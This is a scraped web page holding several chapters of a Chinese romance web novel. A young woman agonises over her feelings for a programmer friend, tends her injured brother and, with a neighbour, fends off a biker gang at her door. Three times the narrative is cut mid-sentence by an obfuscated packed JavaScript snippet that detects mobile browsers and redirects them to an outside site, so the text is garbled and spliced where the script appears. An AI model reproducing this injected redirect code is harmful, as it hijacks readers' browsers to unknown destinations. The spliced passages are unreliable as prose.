林雨涵掐着手指头算下来,要让她攒够六千块钱,没个一年半载那是完全不可能的,而唐成安大手一挥把这些钱直接白白送人,换作是她也估计要闹上个小半天。 可是惊讶之余她又似乎察觉出什么,看向唐成安的眼神意味深长:“对魏寻你倒是意外的舍得哦~” “什,什么啊!”唐成安被看得不自在,“他帮乐兴那么大一忙,送点东西不是应该的吗?” 林雨涵:“六千块的电脑可不是什么小东西哦,再说了,就算是魏寻帮了乐兴,那也应该由余老板送礼才对,怎么你私底下还特地送一遍哪?” “只是客气一下而已,毕竟我之后的工资和提成可都要靠他做的这个程序。”唐成安被问得百口莫辩,情急之下搪塞了一句。 “嘿哟,这都是将来不保底的事,就能让你斥六千块巨资提前答谢人家哪?”林雨涵显然不买账,调侃的意味更足了,“值得吗?” 值得吗? 唐成安也曾问过自己。 毕竟六千块,其实对她而言也不是什么可以随随便便拿出手的数目,所以唐玉山闹脾气并不是胡来。 直到唐玉山闹事后几天,唐成安在ATM机上看见银行卡里骤减的数字,她才对这笔钱有了实感。 虽然自己也混到了个管理层,然而南州城市太小发展潜力不足,即使乐兴是个连锁酒店,能给出的工资也并远远没有达到外人猜测的程度。 再加上家里还有两个吃里扒外的家伙,这六千块钱一花出去,估计接下来两个月都要勒紧裤腰带过日子。 所以值得吗?当然值得。 无论问她多少次,唐成安依然会毫不犹豫拿出这笔钱。 之前愿意,现在愿意,将来也一定还是一如既往的心甘情愿。 因为外人的眼界只局限于金额数目,唯有唐成安能透过世俗看到魏寻的本真。 在她眼里魏寻就像一只蜗牛,从小到大都是。 他背着那些莫须有的期望一步一步向上爬,所以走得很慢很慢。 这些期望有时候过重,也曾害得他狠狠摔落至起点,可是他依然坚持从头再来。 直到一场瓢泼大雨不期而至,他这只蜗牛才发现背上那个自己视为家的外壳早已因那次跌落破损了一块。 期望从这个出口溢出,转而积攒起更加沉重的雨水,最后雨水也满出来,他才发现——自己连家都回不去了。 即使身后是融不入的家,他也一如十年前那个朝气蓬勃的少年,面对所有迎面而来的质疑和否定,仍然回应得那样温和。 时光不改他的纯良温沉,无论何时,魏寻始终是南州最柔软的月亮。 所以唐成安想要护住这盈盈月光,哪怕力量微不足道。 “嘿,姑娘,你要几个?” 因为林雨涵提起话题,唐成安几乎大半天都不自觉陷入走神,老板这么一吼才让她清醒过来。 “不好意思,”她表示抱歉,“呃,红薯两个,玉米三个。” 老板听到数量好意提醒:“你一个小姑娘要这么多啊?烤红薯虽然好吃也不能吃撑喽。” 唐成安笑了笑:“没有,家里还有两张嗷嗷待哺的嘴呢。” “还有两个人啊?”老板从铁皮烤炉夹出热气腾腾的玉米和红薯,表面烤得金黄金黄,飘香四溢,“那要这么点够吗?” 唐成安接过袋子在手中掂量了一下,思忖片刻补充道:“再给我各拿两个吧。” 被老板这么一点,她倒是想起今早周小菊塞给她的包子,毕竟之后都是抬头不见低头见的邻居,于情于理唐成安都应该买些东西作为答谢。 “好嘞!一共五十。” “五十?!”唐成安翻开钱包才发现预算不够,略微局促,“老板你便宜点呗。” “你瞧瞧我这一个个个头都多大啊,称斤卖不会作假的,真便宜不了。” 这下唐成安有点难办了,本想一起当作谢礼,却不料囊中羞涩实在有心无力。 她刚想去掉几个,身后便传来另外的声音:“我来吧。” 说曹操曹操到,顺着声音转头一看,来人果然是魏寻。 魏寻爽快地拿出五十付清,唐成安却不自觉看向他的钱包,夹层中似乎放了好几张红艳艳的百钞。 她又莫名其妙想起唐成泰昨晚的话—— 「“我看魏寻……怎么看也不像是有固定工作的人。”」 自从魏寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982638|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,除了待在公寓和网吧,几乎就是各处跑,有时候大晚上还能偶遇下班的唐成安,确实不像是个九九六的上班族。 即使人才公寓有政策扶持,房价相较普通住房而言低了不少,但日常花销也是无法避免的,没工作的魏寻这笔钱又从哪里来? “魏寻,我问你个事哈,”唐成安找了个没风的角落坐下,悄咪咪试探,“你在做什么工作啊?” 魏寻对她这个问题不明所以:“写代码,怎么了?” “写代码这么赚钱哪?”唐成安轻轻捏住红薯两端,稍稍用力掰开,橙黄软糯的薯肉从被碳火烤制成焦褐的外皮下展露出来,稍大的那半个被她递给魏寻,“这个具体是怎么做的?我也想学学。” 魏寻倒是意外的认真:“也不算很难,先从编程语言开始,然后学学数据结构和算法、循环语句、SOLID原则……” “打住,打住!”光是这一系列乱七八糟的术语就足以把唐成安劝退,没说几句就把他打断,“我不学了,不学了。” 这还不难?您这天之骄子着实是没法和我们普通人的智商苟同。 唐成安沮丧地嘟囔几句,魏寻看着她的小表情低声笑了笑。 “现在互联网逐渐普及,对软件程序的要求也越来越高,不少大城市都已经开始出现编程兴趣班了。”魏寻说话慢悠悠的。 “兴,兴趣班?!”唐成安咬下一口烤红薯,有点烫嘴,“大城市还真是不一样,什么都走在我们前头。” 她莫名觉得感慨,不光是她自己,原来不知不觉中南州也已经远远落后于时代,而魏寻或许就是那个唯一逆着潮流回来的笨蛋。 他也想尽可能拉动南州往前走一走,可是没想到偏见的力量不可企及,踽踽独行的他既没感到前进,也不甘心后退。 “魏寻,不是我不相信你,”唐成安停顿了一会儿还是打算说出来,“就算你投入这么多精力,其实南州也不一定能借此机会如愿以偿地发展起来,你的努力到最后可能还是竹篮打水一场空。” 即使之前已经提过这个话题,她也还是忍不住再强调一遍。 万一是魏寻脑子一热没想好呢? 说不定这一次他就反悔了呢? 不论怎样,她都要替魏寻考虑清楚。 “嗯,我知道。”魏寻的回答淡淡的,还是和上次一模一样的答案。 唐成安:“就算没有十足的把握,你也还是会去做么?” 魏寻把手中的红薯包在手心,不知是不是因为温度太烫,他的那份薯肉一口都没动: “盈满则亏,百分百把握的事情其实并没有想象中那么值得,我更希望迎着压力选择有风险的挑战。” 唐成安微微点头,没有说话。 好像魏寻一直都是这么个人,虽然表面上看着温和,实际上却和唐成安一样,也是个地地道道的倔脾气。 1990年,刚上初中的魏寻不知从哪听来的风头,主动找到校长想要报名奥林匹克数学竞赛,然而南州这么一犄角旮旯的小地方哪里有什么奥赛经验?得亏校长有自知之明,于是立马就否决了。 不死心的魏寻不打算放过这次机会,瞒着所有人偷偷找到家里有电脑的同学,成功在官网注册报名。 本是天衣无缝的计划却在出示身份证明的环节露了马脚,老院长不想打击他的自信心,四处托关系才从市里找来一位老朋友愿意辅导。 尽管这位老师有参赛经验,但他的学生最好成绩也仅仅止步于省赛,所以他辅导魏寻的时候并没报多大期望,大部分时间都是靠魏寻自己摸索。 等到数学奥赛成绩公布的那一日,在清一色北上广名牌中学里,来自南州的魏寻名字耀眼夺目,金灿灿的姓名上方写着一排加粗字体—— 「全国选拔赛二等奖」 自此,魏寻在南州便一战成名,成为人人口中的天才少年,也因此获得了保送市中的资格。 可是他的心并没有就此停下,他依然不顾一切放弃保送资格,毅然决然选择备考省城一中,一股不撞南墙不回头的阵势。 唐成安回忆至此,不知怎的,心里就是空落落的。 她早就应该清楚,魏寻一直都是那个哪怕只有一丁点可能,也会努力争取的傻小子。 所以即便他创业失败了,也还是拥有从头再来的勇气。 而这样的他,却偏偏对那份喜欢只字不提,说不定正是因为这段感情在他心中——或许连那么一丁点的可能都没有。 说者无心听者有意,唐成安拨开纷杂的思绪,心中渐渐清楚了什么。 烤红薯的诱人香味顺着热气晃晃悠悠飘上来,被炙烤得焦脆的外皮因手心受力裂开一道缝隙,烫手的温度隔着塑料袋侵袭至指尖。 也许是因为十指连心,原本在掌心肆虐的热度酥酥麻麻地沿着手臂攀上肩膀。 唐成安的心脏在胸腔内闷闷地疼。 35. 烤红薯 “成,成安……” 或许是冷风吹得唐成安有些麻木,直到耳畔响起魏寻模模糊糊的声音,她的眼神才渐渐恢复清明。 “你怎么了?” 魏寻不知道为什么忽然表情担忧地看着她,指了指唐成安的脸颊。 唐成安:? 她也不清楚魏寻在说什么,但还是听话地摸上了脸庞。 烤红薯的温度早已传至手心,因此滑落至指尖的那股凉意才会更加刺骨,唐成安这才发现眼前已经白蒙蒙一片模糊。 她什么时候哭了? 魏寻被她这样子吓到,连忙从口袋里拿出一包手帕纸递给她。 唐成安抽出几张浅浅擦了一圈眼眶周围,发现溢出的泪水竟然能够轻易打湿大半张纸。 难怪魏寻会吓一跳,恐怕就连她自己都没意识到居然哭得这么厉害。 为什么会这样呢? 就因为想清楚魏寻不喜欢她吗? 还是说因为得知十年前的喜欢纯属自作多情而委屈? 可她明明一直都是个拿得起放得下的人,追求魏寻这事本就是她自己一厢情愿,即使头破血流也无怨无悔。 所以现在又是怎么一回事呢? 唐成安只觉得,在与魏寻有关的事情上,自己似乎越来越掌控不住了。 “没事没事,”明显是还没缓过劲来,唐成安鼻音黏黏糊糊的,“是这红薯太烫了,烫得手疼。” 即使这份心情唐成安自己都还没能琢磨明白,但她目前唯一清楚的是,无论如何,至少魏寻不应该被牵扯进来。 于是她只能随意搪塞过去, 虽然理由着实荒唐。 魏寻无奈地笑笑,主动从她怀里拿过鼓鼓囊囊的袋子,忍不住在手中掂量了几下:“你怎么买这么多?成国哥回来了?” “我大哥他估计不到过年没法回来,这些是用来还人情的,”唐成安的鼻音好转了些,一点点和魏寻耐心解释着,心中的困惑却又因为话题重新浮起,“有两个很早就离开的邻居在昨晚突然回来了,那家婶婶今早特意给我包了包子送来,不过不知道为什么。” 说着说着,她又突然朝魏寻靠近,手掌在挪动过程中无意间碰到了他的指尖,细嫩的皮肤触感与底下粗糙石砾对比明显。 不过咋咋呼呼的唐成安似乎并没有什么反应,反倒是魏寻怯生生地收起手,背在身后。 直到坐在与魏寻只有半个拳头距离的地方,唐成安才停止动作,转而歪着个脑袋,双眸扑闪扑闪地认真看着他。 “魏寻,我问问你,”唐成安直勾勾地盯着魏寻,态度诚恳,“如果有一个你从来不认识的人突然对你特别热情地示好,是那种落在行动上的好,你会因此很不舒服么?” 可能是由于刚刚哭过一场,唐成安眼周有些泛红,柔和的月光撒入她的瞳孔中,一双明目这会儿像极了一只可怜兮兮的小兔子。 二人距离近得魏寻甚至能借着朦胧月光,清晰地看见她因冷风吹过而轻微颤抖的眼睫。 他下意识地低下头,目光撞入她的眼睛里,闪躲不及。 “分人。” 他装作思考了一会儿,只给出简简单单的两个字。 唐成安对这回答云里雾里的,继续追问:“那哪类人是能接受的?” 魏寻微微侧过身,目光自然而然地落在她周围,柔和的笑意从眼底慢慢晕开: “你应该知道。” 好吧,还是只有几个字。 “我知道?”唐成安听后扫兴地瘪瘪嘴,以为魏寻是故意卖关子,“我知道就不会问你了。” 然而她的小声嘟囔并没有换来魏寻进一步解释,没有着落的半句话让她不自觉生起闷气。 和你这种高智商的人聊天真够费劲的,又不是外人,这么说话是想防着谁啊? 她在心里暗暗念叨了几句,也只能以这种窝囊方式出出气。 “哟哟哟~” 未见其人,先闻其声,一阵不和谐的声音打破宁静。 唐成泰不知从哪冒出来,一见到角落里的二人便阴阳怪气地调侃:“我说我的晚饭怎么还没到呢?原来落入美人计里了啊。” “狗嘴里吐不出象牙,”唐成安对付她这位不正经的二哥最有一套,“赶紧拿着你的晚饭回家去,少在外面丢人现眼。” 唐成泰下意识向后退了几步,毕竟按照以往的经验,小妹每次数落几句后还会“贴心”地再送他一拳,所以他得做好十足的准备。 哪知唐成安这回不知道哪根筋搭错了,话音刚落就一股脑地闷头把他拉走,最后也只是草草地和魏寻道了个别。 他越想越不对劲,这两人之间的气场仿佛回到了几个月前初见那会儿。 “等会儿,”唐成泰说什么也不肯往前走了,非得把事情搞清楚,“你俩这又是发生什么了,怎么氛围冷冰冰的?” “哎呀,别瞎操心。”唐成安显然没心情应付一心想要看热闹的唐成泰。 奈何这一家子都是不能被激的,见到她这么个态度,唐成泰还真决心打破砂锅问到底了: “肯定不对劲!你不告诉我我就找大哥告状去。” 又来告状这一套,唐成安对她二哥的赖皮程度也是无可奈何。 “你又……” 她咬牙切齿地转身,刚张口准备一顿数落,却凭借微弱的月光发觉唐成泰脸上有点奇怪。 凑近一看,才看出那些斑点居然是黑紫相间的成片淤青。 “你脸上这是干嘛了?!” 由于一时着急没控制好力度,唐成泰被她这么一拽疼得哎呦直叫唤。 “嘶——”唐成泰疼得拧眉护住全脸,“没什么事,就是碰到车子故障摔了一跤。” “车子故障?我说了你那破车修理也没用吧!你居然还敢骑着出去?!” 虽然嘴上不饶人,唐成安到底还是嘴硬心软,轻轻扶着唐成泰的脸反复查看伤口。 大片大片的淤青中还夹杂了许多因擦破皮结成的痂,周围还有星星点点没擦干净的血污。 唐成泰却像个乐子人,满不在乎:“哎呀,本来玩车就少不了受伤,看着吓人罢了,小伤而已,别大惊小怪的。” 唐成安当然不信他这套说辞,奈何唐成泰总能像打太极一样糊弄过去,她也不好多计较。 然而当偶尔的灯光打在他脸上时,那一道道血痕似乎比刚才在月光下愈加扎眼,微微肿起的下唇看得唐成安心里惴惴不安。 不知是不是因为头顶的月光,她只觉得此刻唐成泰的脸色有点莫名的惨白。 - 昨晚唐成安好说歹说了一晚上,唐成泰依旧固执得像块石头坚决不去医院,明明已经奔三的年纪却偏偏自我感觉良好,以为自己还是个二十出头的年轻小伙子,小伤小痛无伤大雅。 可是他那狼狈模样,就连好不容易没有牌局碰巧在家抠脚的唐玉山看了都吓一大跳。 这怎么可能没事? 怎奈唐家许是骨血里就有股不服软的劲儿,唐成泰也是头倔驴,屁股坐在沙发上一动不动,力气占下风的唐成安拿他实在没办法。 第二天大早上起来,唐成泰就挂着那张伤痕累累的脸在家中四处晃悠,唐成安看他状态还是放心不下,于是趁着周末偷偷跑去药店买点什么。 “一共二十八。” 由于唐成泰没有到场,药店医生只能听描述估摸着拿了几种简单的外用治疗药,只不过唐成安没想到这几年物价居然涨得这么快,随便几样就要二十多。 望着钱包里所剩无几的纸币,昨晚甚至拿不出买红薯和玉米的钱,唐成安心里就在滴血。 这次唐成泰可真欠她一个大人情。 “成安?”身后响起熟悉的声音,“你怎么来买药了?” 唐成安:“刘姐?好久不见呀。” 刘姐好奇地朝袋子里瞟了一眼:“这些都是跌打损伤的药吧,你受伤了?” “不是不是,是我二哥,他骑摩托摔了,又不愿意去医院,只能买点药搽搽。”唐成安反问,“你又为什么来这?” 刘姐笑了笑:“给我婆婆买点保健品。” “好久没见奶奶了,她最近怎么样?身体还好吗?” “她身子骨一直很好,最近忙着料理山上的金桔,每回下山大气都不喘一下。” “呀,说起来,这么久我都还没去店里瞧瞧呢,有什么需要我帮忙的尽管提。” “不打紧,阿寻这些天一直有在帮忙,事情理顺多了。” “魏寻他能帮什么?” 唐成安一想到魏寻正儿八经的模样,既没有推销的好口才,一身计算机天赋又偏偏在刘姐店里没处使,实在想不通他能帮上什么。 “啊,他没和你说吗?”刘姐表情惊讶,“不过他说了一大堆乱七八糟的名词,我这个没文化的听不太懂,总而言之意思就是要想办法打响名声,把牌子推销到南州以外的地方去。” 果然还是魏寻想得周到。 南州这么一个小城市,即使花了大价钱包装产品,可较低的人均购买力依然是致命打击。 短期内看着人满为患的店铺可能觉得前途乐观,然而长时间下来只会消耗资金寿命,到最后难免落得入不敷出的下场。 虽然说“酒香不怕巷子深”,可现在毕竟不是七八十年代了,改革开放后物资流通速度加快,市场商品肉眼可见增多,眼花缭乱的品牌让人无从下手。 更何况刘姐这牌子是个新起之秀,目前只在南州城区范围内有较高的口碑,想要在类似品牌中打响名号就必须用点别的手段。 现如今最有效的方式估计就是上电视广告,可那些工商局的一个个狮子大开口,几秒钟就要十几万,做小本生意的人家哪里承担得起? 刚解决食品安全证,现在又出现个棘手的问题,原来创业竟然要克服这么多困难吗? 唐成安不自觉恍惚,想要尽可能与当年独自创业的魏寻感同身受,然而一闭眼满脑子都是各式各样的麻烦。 也不知道魏寻有什么好点子。 “你打算怎么办?” 自从早上刘姐告诉她困难后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不会,”魏寻在短暂的沉默后又突然开口,温和的声线将唐成安的不安轻轻抚平,“你的想法特别好。” 唐成安从小就是个混世魔王,街坊邻里都知道,也对她无可奈何。 她又偏偏是个大大咧咧的性子,于是大家几乎都只记得她捣蛋顽皮的一面,经常时不时地调侃她。 调侃得多了,甚至有些很难听的话也会自然而然借着开玩笑的语气说出来,可唐成安没多放在心上。 这么多人里,只有魏寻不一样。 「“其实你很聪明。”」 「“你的想法特别好。”」 「“我记得你很聪明的。”」 「“相信你自己。”」 唐成安第一次觉得,自己这个人见人嫌的小霸王,好像在他眼里只不过是一个稍微有点淘气的普通小姑娘罢了。 小时候语文老师常常在课堂上讲述苏轼和佛印禅师坐禅的故事,因为牛粪这一形象的比喻,就连当时不学无术的唐成安也笑呵呵地留了一耳朵。 「“一个人如何看待他人,正反映了自己的内心修养。”」 这是语文老师当年给出的答案,唐成安在往后的几十年间也一直记在心里。 她相信,魏寻一定本身就是个很好的人。 “那你觉得可行吗?”唐成安弱弱地问道。 “嗯,当然可以。”魏寻想给她底气,特地提高音调,“其实这就是一种营销手段,而且借助互联网的同时还能降低成本。” 既能降低成本,又可以避免频繁外出,在家就能生财。 唐成安第一次觉得原来互联网是个这么好的东西。 “那这样的话,你们是不是不用去外……” 唐成安还想继续问个明白,然而话还没说完,听筒便突然传来嘟嘟嘟的忙音,打断了原本的对话。 不是吧?偏偏这个时候没话费了?? 唐成安看着发来的欠费短信咬牙切齿,一肚子火气没处发。 “唐成泰,唐成泰!”她急冲冲开门走出卧室,冲着客厅大喊,“我手机欠费了,你电话借我用用。” 照常来说,这个时间点正是唐成泰打游戏到激烈的时候,可今天的他居然破天荒一个人躺在沙发上,整个人焉焉地从口袋里拿出手机上交。 “你干嘛?不舒服啊?”唐成安看他模样实在不太正常,顺便关心了一句。 “咳咳咳……”还没等到唐成泰说出一个字,他就不知怎么猛烈咳嗽起来。 他的身体因咳嗽剧烈颤抖着,额头上还生出了许多细密的汗珠,粗重的喘气声和咳嗽一样明显。 “咳这么厉害?”唐成安感觉事情有点不对劲,蹲下想要查看情况。 她扒开唐成泰捂住嘴的右手,一抹心惊的红色明晃晃染上了掌心,看得唐成安面色一僵。 “哥,哥!” 偌大的客厅只剩下她声嘶力竭的呼喊。 36. 《神话》 煤气灶燃起的蓝色火苗包裹着锅底周围,本是平静的水面渐渐从底部钻出细小气泡,药材温润地浮在水面。 当归的香气混杂着川芎和赤芍,弥散于整个厨房空间,唐成安稍稍调小了火候,拿出一块方巾垫在药罐握手上,麻利地将药渣逼出,接着又洗净一个不锈钢保温杯,咕噜咕噜倒入里面。 “不行。” 她对着保温杯自言自语,转头在底下的橱柜里掏出冰糖罐子,从里面夹了两块单晶冰糖投入保鲜袋。 唐成泰突然的咳血把人吓出一身冷汗,奈何唐玉山又找不见踪影,唐成安只能一个人扛着她这位一百四十多斤的老二哥,像只乌龟一样慢慢爬到医院。 经过一系列检查,厚厚一沓的检查单最后递交到医生手上时,只得出“轻微胸部挫伤”六个字。 身体无碍当然是好事,唐成安看着她这没心没肺的二哥简直又气又笑。 虽说是小伤,但医生还是出于保险起见给唐成泰腾了个病床,安排他留院观察一晚。 等到唐玉山被电话勒令赶来陪床,唐成安才敢回到家中为唐成泰煎药。 “不够。” 唐成安又自言自语地碎碎念,从罐子里再夹出两块糖。 这服药是活血化瘀的老方子,味道自然比一般药材重一些,平常就怕苦的唐成泰要喝下满满一大杯,不论是喝的人还是劝喝的人,都注定是一场鏖战。 担心药汤凉得快,唐成安抓紧动作收拾了一下灶台,正准备迈出厨房,院子大门便响起窸窸窣窣的声响。 晚上十点正是夜深人静的时候,这个点谁还会来找人? 唐成安心脏一紧,觉得门外定不是善茬。 细碎的响动没多久就停止了,随之代替的是大力的敲门声。 “有人在家吗?找唐成泰!” 这人有很明显的南州口音,八成是本地的,唐成安慢慢凑近过去仔细听,发现杂声很多,此刻外面或许不止一人。 已经这么晚了,一群大男人来找唐成泰干什么? 可能是由于她老爹留下的心理阴影,唐成安越想越心慌,闷声不吭地打算跳窗逃走。 男人应该是从门缝里看到了屋内的灯光,知道肯定有人在家,于是表明来意:“我们是来看望他的!” 这些人知道唐成泰受伤了? 他这次摔伤后就一直在家老实待着,除了偶尔串门的邻居,能知道他伤势的估计也就只有车队里的那些混混。 这些机车党本就是南州大街上地痞流氓,摸不准他们这次来安的什么心思,唐成安只敢浅浅开了条缝: “他现在在医院静养,你们过几天再来吧。” “天哪,怎么住医院去了?” 站在最前面的男人见唐成安回应,立马凑到门前,关切的话语里听不出是不是真心。 “有点咳血。” “不会是骑车摔的吧?” “嗯。” 唐成安不清楚他们的来意,回答简短又生硬,不愿透露太多。 毕竟就算唐成泰再怎么不正经,至少他的人品自己还是了解的,和眼前这些人可不一样。 这些无所事事的混混,整天只知道骑着摩托炸街,仿佛声响越大越能证明自己的存在感。 扰民是必然的,可他们身上那些乌泱泱的大片刺青,又让人退避三舍。 唐成安当初刚知道唐成泰和他们这些人玩在一块,扛着把大锤子说什么都要把他的摩托车给砸了。 不过最后还是没忍心,找了个心疼已经花出去的几千块钱的理由就此作罢。 她知道,或许她这个缺心眼的二哥,正是想借此机会证明自己的用处,以此挽救已经在家低到尘埃的脸面。 只要他不惹事,那她索性睁一只眼闭一只眼。 也许唐成泰是个误入歧途的糊涂蛋,可这些人就是天生的坏种。 他们听见唐成泰是摔车导致咳血后,竟然莫名其妙嗤笑起来,仿佛这是个什么天大的笑话。 “哈哈哈哈,原来这家伙还真这么脆皮啊!”领头的那个转头对身后的几个人高声嘲笑,其他人也跟着他应和地笑起来,笑声中没有关心更没有怜悯,满满的都是讽刺,无比刺耳。 唐成安眼神倏地变得锐利起来,脸上的温和渐渐褪去,咬字用力:“什么意思?” 领头那个几乎笑到肚子疼才停下,不光顶着一脸看戏的表情,甚至转头还想和唐成安分享笑话: “小妹妹你不知道吧?你哥他可太好玩了!” “把话说清楚,我可没心情嬉皮笑脸。”唐成安把门缝开大了一些,面色更加不好看。 然而这个领头的根本没把她放眼里,拍了拍旁边的跟班,自己竟然跑到另外一边接着笑。 小跟班立马有眼力见儿地迈上前去回答道:“前几天你哥他居然有胆子和我们大哥顶嘴,我大哥大人有大量不和他计较,也就是把他车给砸了,让他长长教训,好在他还算是个识相的,立马就服软了。” “不过我大哥也是心软,让他骑着他的烂车绕个几圈就原谅他,谁知道这家伙那么差劲,没跑几百米就摔了,就这水平还天天跟在我们后面想进车队呢?” “你说你哥他好不好笑……” 这一次刺耳的笑声没能持续几秒,就被尖叫掐断了,伴随尖叫的还有实打实一声敲击硬物的巨响。 即便光线昏暗,他被浇得浑身湿透的样子也能看个一清二楚,寂静的夜晚衬托得保温杯砸地响声更加清晰。 他大哥“心软”,唐成安却是出了名的心狠手辣。 更何况这件事触及到她的底线,还没等小跟班话说完,她就将手里的保温杯以扔铅球的姿势狠狠砸过去。 此时此刻,比保温杯不锈钢材质还要坚硬的,恐怕就是唐成安这块货真价实的“铁板”了。 周围人显然也是被她的举动惊住,纷纷退后了几步,不敢靠近。 “我靠!”小跟班捂着脑袋大骂一句,“神经病吧你!” 他缓缓将手拿开,指缝间流下的除了满手浑浊的汤药,还有淡淡血痕。 “妈的,你这婊.子……” 怒火攻心的他二话不说便朝门后的唐成安扑过去,两只手臂眼看就要抓住她的脖子,却还是晚了一步,被唐成安紧紧夹在忽然关拢的门缝里。 “啊啊啊啊!!”他尖叫的音调只增不减,由于过于吃痛,嗓子还有些破音。 然而他喊得越悲壮,唐成安反倒越是泰然自若,甚至不顾他已经夹成紫色萝卜一般的指头,懒散地直接靠在门缝处,又将这几根可怜的小手指生生折了个弯。 其他人见这情况终于坐不住了,好几个大男人一齐朝大门撞上去,哐哐哐的撞击声甚至惊动了平静的晚风,忽然发了疯似的席卷而来。 唐成安这下哪里应付得了,没几下就被撞倒在地,坚守了一阵的大门也被撞开,露出好几张面目狰狞的嘴脸。 意识到情况不妙,唐成安从地上迅速爬起,怎料没等双腿站直就被这些人团团围在院子里。 “老子本来不打女人的,”领头的那个凶神恶煞地撸起袖子,刻意将关节掰出咔咔的声响以示威严,“这TM是你逼我的!” 唐成安也是个硬骨头,不知道哪来的底气,面对挥来的拳头丝毫没有避开的想法。 无星的夜空仿佛一块黑布,沉甸甸地压在唐家小院上空,拳头裹挟凛冽的风声,整个世界仿佛只剩下越来越近的阴影和短短凝滞一瞬的喘息。 “你们谁敢过来!” 千钧一发之际,耳边一声怒呵代替了肆虐的风声,拳头最终停在半空。 眼见周小菊举着把菜刀从门口冲进来,锃亮的刀面反射出月光,晃眼得如同一道闪电。 她三步做两步跨到唐成安面前,用刀尖指向身边的这群混混: “我看你们谁不怕死!” 直到看见这明晃晃的刀子,这群不知天高地厚的流氓才终于知道害怕:“疯……疯子!” 唐成安眼睁睁看着他们一个挤一个地冲出门外,这些二十多岁年轻力壮的小伙子,甚至还不如周小菊一个五十多岁的中年妇女有骨气,落荒而逃的样子和刚刚恐吓的时候简直像两个极端。 他们嘴上说着帮派团结,实际上不过一个个都是欺软怕硬的假把式。 她从鼻腔里发出不屑的闷哼,抬头却发现面前的周小菊一动不动。 “周姨?”她轻唤了一句。 周小菊仍然保持不动,菜刀直直指向已经没了人的门口。 她的嘴唇早已发白,就连握住刀柄的指尖也没了血色,目光涣散得全然没有刚才那般强势。 唐成安担心吓到她,只敢轻拍了两下肩膀,周小菊在呼唤中回过神来,视线刚一撞上唐成安的双眸,便忽的倒地不起。 她的个头本就比唐成安高一点,这么一瘫软扑在唐成安身上,实在有些招架不住。 “周姨?你没事吧?”唐成安想要确认周小菊的状态。 哪知周小菊还没给出回应便将头埋在她的颈窝里高声痛哭起来,低沉的呜咽从喉咙中挣扎而出,逐渐变为嚎啕。 周遭寂寥无声的环境在冬风吹拂下使体感温度似乎又下降几分,因此周小菊的泪水才得以透过衣衫,仿佛就要灼伤唐成安的皮肤。 她的哭泣持续了一分钟不止,唐成安杵在原地不敢挪动,一时也不知怎么办才好。 “媳妇儿!成安!外面人都走了,你们没事吧?” 王忠才气喘吁吁赶来,手上还握着一把吓人的木锯,刚推开门就看见周小菊紧紧抱着唐成安的场面。 他见状立即上前想要把二人拉开,谁知周小菊块头大,力气也大,怎么扯也无济于事。 王忠才不得已低声对着周小菊的耳边劝了几句话,至于具体说了些什么,唐成安被周小菊不断的啜泣声四面环绕,没法听清。 只知道没一会儿周小菊便松开了手,怏怏不乐地捡起地上的菜刀走出大门,隔几步就回头,眼神中充满了留恋不舍。 “成安,王叔实在对不住你,是不是把你弄疼了?”王忠才摸了摸后脑勺主动低头道歉,手上暗戳戳地捏着衣角,不知道应该说什么好,“不过你别担心,我媳妇儿她没有恶意的啊!” 担心自己越描越黑,王忠才没有多加解释,正打算旋步离开,却突然被叫住。 “叔,谢谢你们赶来救我,”唐成安朝他鞠了一躬,“周姨她没事吧?她刚才哭得很厉害。” 王忠才脸上紧张的神色终于淡下去,眸底反倒徒增一抹忧伤。 他望向唐成安关切的双眸,忍着隐隐作痛的心脏缓缓道来:“老毛病了。” 2000年,举国欢庆千禧年的到来,街上随处可见“禧”字辈的小娃娃满街乱跑。 京沪高速建成,第二十七届奥运会热烈举行,全国上下都是一番激情涌动的热潮。 有道是绣花枕头一包草,外表再怎么光鲜亮丽也掩盖不住藏在黑暗角落里的崎岖。 多年后引得无数人怀念的千禧年,泛滥成灾的街头犯罪也成为抹不去的时代记忆。 抢劫、偷窃等治安问题层出不穷,罪犯已经大胆到光天化日之下明晃晃在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991770|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街上犯罪。 王忠才和周小菊在省城生活了也有几十年,虽说对此难免担惊受怕,但这么多年来有幸平安无事。 夫妻二人为人处事一直老实本分,也不求大富大贵,只愿儿女平安就好。 2000年,两人的大儿子结婚,小女儿也顺利毕业即将入职,本是一家四口翘首企足的开年,老天却猝不及防带来噩耗,将美梦彻底击碎。 应聘的公司虽然算不上多好,但对于只有中专学历出身的小女儿而言也算美差一个,满怀期待的她提前一天便收拾好行李出发前往东莞。 毕竟在那个年代,珠三角附近的城市一个个都是出去打拼的年轻人们眼里的香饽饽,他们的小女儿自然也是热情满满,心中展望了无数遍美好未来。 中途转车了好几次,她终于熬过一路奔波来到工厂门口,工厂规模不算太大,所以她按地图找过来绕了不少弯路。 门口保安亭不见人影,她只好一个人守着好几个行李箱在门口拨通主管电话。 